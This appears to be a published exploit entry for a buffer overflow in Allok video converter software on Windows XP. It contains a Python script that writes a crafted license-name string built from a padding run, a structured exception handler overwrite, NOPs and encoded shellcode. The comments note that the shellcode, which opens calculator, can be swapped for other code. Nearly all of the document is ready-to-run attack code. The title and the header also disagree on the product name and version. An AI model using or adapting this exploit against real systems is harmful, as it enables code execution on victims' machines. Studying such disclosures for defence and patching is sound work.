Allok QuickTime to AVI MPEG DVD Converter 3.6.1217 - Buffer Overflow

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# Exploit Title:        Allok Video Converter - Buffer Overflow Vulnerability (Windows XP SP3)
# Date:                 06-03-2018
# Exploit Author:       Mohan Ravichandran & Velayutham Selvaraj
# Organization :        TwinTech Solutions
# Vulnerable Software:  Allok Video Converter
# Vendor Homepage:      http://www.alloksoft.com
# Version:              4.6.1217
# Software Link:        http://www.alloksoft.com/allok_vconverter.exe
# Tested On:            Windows XP Service Pack 3 (Version 2002)
#
# Credit to Velayutham Selvaraj for discovering the Vulnerbility
# Vulnerability Disclosure Date : 2018-03-06
#
# Manual steps to reproduce the vulnerability ... 
#1.  Download and install the "setup(allok_vconverter.exe)" file
#2.  Run this exploit code via python 2.7
#3.  A file "exploit.txt" will be created
#4.  Copy the contents of the file and paste in the License Name field 
#    Name > exploit.txt
#5.  Type some random character in License Code
#6.  Click Register and voila !
#7.  Boom calculator opens
#
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import struct

file = open("exploit.txt","wb")
buflen = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh  = struct.pack("<L",0x10019A09)
nops = "\x90" * 20
# The below shellcode will open calculator, but can be modified by need.
shellcode = ""
shellcode +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
shellcode +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
shellcode +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
shellcode +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
shellcode +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
shellcode +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
shellcode +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
shellcode +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
shellcode +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
shellcode +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
shellcode +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
shellcode +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
shellcode +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
shellcode +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
shellcode +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
shellcode +="\xc4\xd9"
exploit = junk + nseh + seh + nops + shellcode
fillers = buflen - len(exploit)
buf = exploit + "D" * fillers
file.write(buf)
file.close()